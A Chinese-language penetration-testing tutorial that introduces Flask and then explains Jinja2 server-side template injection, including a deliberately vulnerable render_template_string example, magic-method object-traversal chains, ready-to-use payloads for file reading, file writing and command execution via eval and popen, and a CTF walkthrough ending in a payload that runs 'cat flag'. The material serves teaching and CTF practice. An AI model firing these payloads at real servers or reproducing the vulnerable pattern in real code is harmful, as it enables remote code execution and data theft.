web渗透测试,SSTI漏洞基础解析

  • 作者:
  • 时间:2022-05-27 09:29:46
简介 web渗透测试,SSTI漏洞基础解析

flask基础

flask是python编写的一个WEB应用程序框架,flask由Armin Ronacher带领的一个Pocco团队开发,flask基于werkzeug WSGI工具包个jinjia2模板引擎。

WSGI:Web Server Gateway Interface,即WEB服务器网关接口。

第一个flask程序

# 从flask中导入Flask,注意,flask是包名,Flask是模块名
from flask import Flask
# 初始化Flask
app = Flask(__name__)
# route是路由的意思,这里理解成路径,设置/则默认打开index页面,注意用单引号或者双引号包含起来
@app.route('/')
# 定义index函数,index函数名可以换成其他的,不一定强制要index,这里也就是相当于写一个页面
def index():
    # return的内容,会被显示在页面中
    return 'Hello,world!!!'

if __name__ == '__main__':
# 开始使用本地地址和指定的8080端口运行起来,如果不指定端口,则默认使用5000端口
# 如果不指定IP地址,默认只能本机访问,如果需要其他地方也能访问到本机开启的flask,则需要将地址换成0.0.0.0
    app.run('127.0.0.1','8080')

以上简单介绍了第一个flask创建的web服务器。

wKg0C2JGx3SAXKAvAACjLyx7nNw003.png

图片中启动flask后,可以在控制台查看到信息。

debug

flask编写的程序和php不一样,每一次变动都需要重启服务器来执行变更,就显得很麻烦,为了应对这种问题,flask中的debug模式可以在不影响服务器运行下,执行更新每一次的变更

debug=True

只需要在app.run原基础上加上debug.True,或者直接app.debug=True

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,world'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')
    # app.run('127.0.0.1','8080',debug=Ture)

route

程序中见到的@app.route('/'),相当于一个路径,可以是app.route('/user'),或者其他自定义的route,设置后,在url后面加上/user就可以访问了,每一个route后面都必须会有一个def函数跟着,代码解析一下。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,vfree'

@app.route('/user')
def user():
    return 'username:vFREE'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx32AGSvrAAEM4YeBapU730.png

我新建了一个route,然后写成/user,创建好后,访问127.0.0.1:8080/user,就会return回username:vFREE。实际上,flask的route在php中相当于文件名,而def中的内容,相当于文件内容。

识别传入的参数

给url添加可以传入变量的地方,只需要在route中的路径后面添加标记value_name>,然后使用def接收,代码解释下。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello,vfree'

@app.route('/user/username>')
def user(username):
    return 'username:{0}'.format(username)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

看到第二个route出,其中加了/username>,这就是传入参数的接口,其中username相当于一个变量,将username放进def user()中,然后用format带入username。

wKg0C2JGx4SAYKiAAEM4YeBapU386.png

输入/user/vfree就会输出Hello,vfree,往下看,接着将讲如何判断GET和POST,以及输出传入的数据参数。

HTTP方法

这里主要讲GET和POST方法。

GET方法和POST方法

from urllib import request
from flask import Flask,request
app = Flask(__name__)

@app.route('/method',methods = ['GET','POST'])
def method():
    if request.method == 'GET':
        return '现在的方法是GET'
    elif request.method == 'POST':
        return '现在的方法是POST'

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

仔细分析上面的代码,会发现多了一个request和methods,request主要是用于在判断时,获取当前页面的方法,如果直接打开URL,就会显示GET方法,如果使用POST,就会显示POST方法,如下图测试页面:

wKg0C2JGx5eAc7TTAAA9KbJ3r24633.png

wKg0C2JGx46AXzgfAACdLmhN9E968.png

route中,methods要有s,并且方法用[ ] 括起来,其次就是方法要大写,不能小写,request和requests不一样,request是包含在flask中的,而requests是请求网页的,不能混淆,方法要大写,否则报错。

获取方法传入的参数

GET方法

GET方法用****request.args.get('[ 参数名 ]')****来接收从url栏中传入的参数,其中参数名是自定义的,比如定义了tss,那么在url栏中只能填入tss=xxxxx,如下面演示图所示:

wKg0C2JGx6WAHwdIAAB8hfGnlk335.png

POST方法

POST方法和GET方法获取传入的值截然不同,POST方法用****request.form[' [参数名] ']****获取传入的参数值,和GET方法所介绍地一样,预定获取什么参数名就会获取传入地参数名中地参数,如下代码演示图所示:

wKg0C2JGx6yAWp9YAACW4JrfC70515.png

两种方法获取值地关键字不能互通,别把POST方法地form[]写成form()

redirect

这个关键字在flask中用于重定向,需要配合url_for使用,url_for使用于构造url,比如常见的用法就是在登陆页面,输入正确的账号密码后,重定向到另外一个页面中,接下来,请看代码演示:

import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)

@app.route('/login',methods = ['GET','POST'])
def login():
    username = 'admin' # 定义username
    password =  'admin' # 定义password
    user = request.args.get('username') # 获取传入的用户名
    passwd = request.form['passwd']  # 获取传入的密码
    if user == username and passwd == password:  # 判断用户名和密码是否和预定义的一样
        return redirect(url_for('login_s'))  # 如果一样,则通过redirect和url_for重定向到login_s中
    else:
        return 'username or password error' # 错误则返回用户名或者密码错误

@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
        return '登录成功' # 返回登陆成功



if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx7OASMGAABclNrNtVU699.png

**redirect和url_for也需要导入模块,

url_for用于定义一个url,可以包含同文件下的其他路径,也可以包含外部文件。

模板渲染

单调的html看起来是枯燥乏味的,一个好看的html文件是有不同样式的文件组成的,因此,为了让模板看起来更好看,我们就需要对模板进行渲染(以下演示的代码不会过于好看,仅作示范使用噢~),模板渲染需要注意一点,py文件和外部文件要放在同一个文件夹下,并且放置外部文件的文件夹名儿,要重命名为templates**,示例图:**

wKg0C2JGx7qAWayRAAAkelQEcz4019.png

render_template

根据上面的文件夹规则,我们在templates创建了一个index.html,然后再py文件中定义好需要渲染的内容,使用字典格式(请看下面的代码例子),一切准备就绪后,使用render_template将数据渲染过去index.html,如果有多个参数,请使用形参的形式传出,如下flask_tss.py文件代码所示,有三个参数,那么就用**********contents传过去,contents是自定义的,这样子,参数值就会一个不落地传到index.html

index.html文件中,需要使用格式为 "{{ 参数名 }}"接受参数值,比如'username':'vfree'

html文件中就是用标签>{{ username }}/标签>,看不懂不理解没关系,只需要看一下下面给出地两个文件示例,就懂了~请注意啦,html文件获取参数一定要填入传过来的参数名!!!

flask_tss.py文件:

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template
app = Flask(__name__)

@app.route('/')
def index():
    contents = {
        'username':'vFREE',
        'year':'20',
        'Country':'China'
    }
    return render_template('index.html',**contents)


if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

templates文件夹下的index.html

html>
head>
body>
h1>Hello,{{username}}/h1>
h2>{{year}}/h2>
h3>{{Country}}/h3>
/body>
/head>
/html>

render_template_string

这个使用于渲染字符串的一个函数,此函数可以将html代码变成字符串, 然后使用render_template_string(xxx)将文件渲染输出,这个可以用于没有外部文件的情况,直接再同文件下,定义好html代码,然后直接就可以渲染,render_template_string和render_template都是渲染,但是前者是字符串,后者是外部文件,具体看演示就明白。

wKg0C2JGx8KADqMEAAB6SLH3jt8444.png

render_template和render_template_string都需要导入才可以使用。

flask代码不严谨危险吗?

危险!!!如果flask代码不严谨,危害和过滤不严的PHP代码差不多,可能造成任意文件读取和RCE,最主要的漏洞成因是因为渲染模板时,没有严格控制对用户的输入,又或者使用了危险的模板,导致用户可以和flask程序进行交互,从而照成漏洞的产生,flask漏洞也被称为'SSTI',既然flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等等等之类的函数,本文将以jinjia2的模板引擎render_template_string作为漏洞代码进行漏洞演示~

漏洞演示

下面是演示一个看起来没啥问题的代码,为什么这么说呢?请把目光移至html_str中的**body>****/body>**标签,其中str是被{{}}包括起来的,也就是说,使用{{}}包起来的,是会被预先渲染转义,然后才输出的,不会被渲染执行。

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
    str = request.args.get('v')
    html_str = '''
        html>
        head>/head>
        body>{{str}}/body>
        /html>
    '''
    return render_template_string(html_str,str=str)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

但是如果变成下面这个代码,发现了对用户传入的数据没有任何过滤,就直接将用户传入的参数值放入html_str中,然后经过模板渲染,直接输出,用户完全对输入值可控,就会照成SSTI漏洞,传入一个弹窗代码,查看效果。

from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)

@app.route('/',methods = ['GET'])
def index():
    str = request.args.get('v')
    html_str = '''
        html>
        head>/head>
        body>{0}/body>
        /html>
    '''.format(str)
    return render_template_string(html_str)
  
if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','8080')

wKg0C2JGx8uABHynAABnD7sFF8390.png

成功执行了我们的弹窗代码,如果把这段代码放在第一个代码中,就不会出现这种问题,因为已经被转义了,所以不会执行。

插入弹窗代码的危害还不是最大的,最大的是可以照成信息泄露,任意文件读取,RCE等漏洞,我们将弹窗代码转成{{config}},会输出:

wKg0C2JGx9OAel2OAAGWOjWrMok025.png

妥妥造成了信息泄露,但是还可以将危害扩大化,直接造成任意文件读取和RCE,在可以保证能看懂的情况下,我们得先学习python的魔术方法和继承关系,接下来细说。

魔术方法

ssti基本的思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果。

__class__ # 查找当前类型的所属对象
__mro__ # 查找当前类对象的所有继承类
__subclasses__ # 查找父类下的所有子类
__globals__ # 函数会议字典的形式返回当前对象的全部全局变量
__init__ # 查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__base__ # 沿着父子类的关系往上走一个

object是父子关系的顶端,所有的数据类型最终的父类都是object
type是类型实例关系,所有对象都是type的示例

object和type即时类也是示例,因为object是type的一个示例,但是type又是object的子类,type自己创造了自己,object是type的弗雷,type创造了object

既然要找到父类下的子类中合适的函数,那么我们首要任务就找到父类,通过继承关系从而一步步往下找,接下来每一个步骤都有解析,师傅可以悟一悟,基本思路是这样子:

>>> print(''.__class__)
type 'str'>
# 字符串的上一层父类就是str,既然我们知道了是什么类型,那么就可以通过__mro__找str的继承关系

>>> print(''.__class__.__class__.__mro__)
(type 'type'>, type 'object'>)
# 这里通过元组列出了两个关系,我们要找的不是type,而是后面的object,既然是元组,那么就通过__mro__[1].__subclasses__()找object对象下的所有子类

>>> print(''.__class__.__class__.__mro__[1].__subclasses__())
[type 'type'>, type 'weakref'>, type 'weakcallableproxy'>, type 'weakproxy'>, type 'int'>, type 'basestring'>, type 'bytearray'>, type 'list'>, type 'NoneType'>, type 'NotImplementedType'>, type 'traceback'>, type 'super'>, type 'xrange'>, type 'dict'>, type 'set'>, type 'slice'>, ...(省略部分)]
# 找到了父类下的子类,以列表的形式显示,假设我们要进行文件读取,那么就是找到type 'file'>,所处列表位置是40  但是由于我的环境问题,这里不能的文件读取和RCE出现了问题,所以使用别的模块,道理都一样,通过找到重载的模块去一步步找所属的子类列表,这里使用的是列表第75位,已重载的

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75])
type 'file'>
# 那么接下来就可以通过__init__查看是否重载

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__)
class '_frozen_importlib._ModuleLock'>
# 没有wrapper字眼,说明已经被重载了,接下来继续找继承关系,使用__globals__找全局变量

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__)
{'__name__': 'importlib._bootstrap', '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', '__package__': 'importlib', '__loader__': class '_frozen_importlib.FrozenImporter'>, '__spec__': ModuleSpec(name='_frozen_importlib', loader=class '_frozen_importlib.FrozenImporter'>,...(省略部分))
# 找出了很多的全局变量,以字典的形式输出,这里演示用'__builtion__'做演示
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__'])
 
 {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=class '_frozen_importlib.BuiltinImporter'>),...(省略部分)}
 # 到了这一步后,由于全局变量包含了eval,所以可以找到eval执行命令,然后再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选~
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))
flag requirements.txt
# 至此,成功执行了命令,找到了当前目录下的文件,至于__import__('os').popen('ls').read(),可以说是固定搭配

循环渐进,一层找一层,无非都是先找到父类,然后找父类下的子类,完了以后查看是否有重载,再通过全局变量找到eval进行执行命令,当然,也不单单只有这么一个思路,也可以不断横纵扩展,还有一个知识点就是,上面提到我们得先获取object对象,然后再去找子类,那么一定要用mro去获取父类么?其实不一定,我们也可以用base去获取object,但是个人感觉还是mro好用,base虽然也可以父类,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找,正所谓萝卜青菜各有所爱,mro和base都可以~

>>> print(''.__class__.__base__.__base__) # 依次网上找
type 'object'>

>>> print(''.__class__.__mro__[-1]) # 一次性列出来所有继承关系
type 'object'>

继承关系

在上面已经提到,通过一个子类找到父类,父类再找子类,再找到全局变量...这样子的就是继承关系,一层一层往上找,通过上面的payload基本都可以明白继承关系是啥,这里做一个简单的代码演示:

class A:pass
class B(A):pass
class C(B):pass
a = A()
b = B()
c = C()
print('a的继承关系:',end='')
print(a.__class__.__mro__)
print('b的继承关系:',end='')
print(b.__class__.__mro__)
print('c的继承关系:',end='')
print(c.__class__.__mro__)
# 输出
# a父类是object
a的继承关系:(class '__main__.A'>, class 'object'>) 
# b的父类是A,然后才是object
b的继承关系:(class '__main__.B'>, class '__main__.A'>, class 'object'>)
# c的父类是B,然后再是A,最后是object
c的继承关系:(class '__main__.C'>, class '__main__.B'>, class '__main__.A'>, class 'object'>)
# 一层层关系递进,形成一个继承关系

payload

列出一些常见的payloads

读文件

1.''.__class__.__mro__[-1].__subclasses__()[40]('/flag').read()
# 由于python3已经没有file了,所以使用open代替,open在__builtins__下
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/flag').read()
# 由于python3中取消了file,所以使用open代替

写文件

''.__class__.__mro__[-1].__subclasses__()[40]('/flag','w').write('content>')

执行命令

1.__import__('os').system('[command]')
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
# 此条payload也是找到重载再通过一层层去找所属的子类列表,然后去调用,注意,()和[]的使用方法,注意,此条指令通过url栏传入不会输出内容
3.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
# 此条是有回显的

从一道ctf题目中学习巩固flask文件读取/RCE

题目地址:catf1ag CTF:easy_flask

1.打开题目,直接测试/?cmd={{config}}

wKg0C2JGxeAdahkAAGWOjWrMok850.png有回显,说明存在SSTI漏洞,既然确定了有这个漏洞,那就直接根据上面给出的payload打一波命令执行或者文件读取即可,具体的可以看上面的payload结构,如果对结构不理解的,可以去看魔术方法下的解析过程~

# 最终payload
{{%27%27.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag%27).read()")}}

wKg0C2JGxARgXeAAA28adEKuM193.png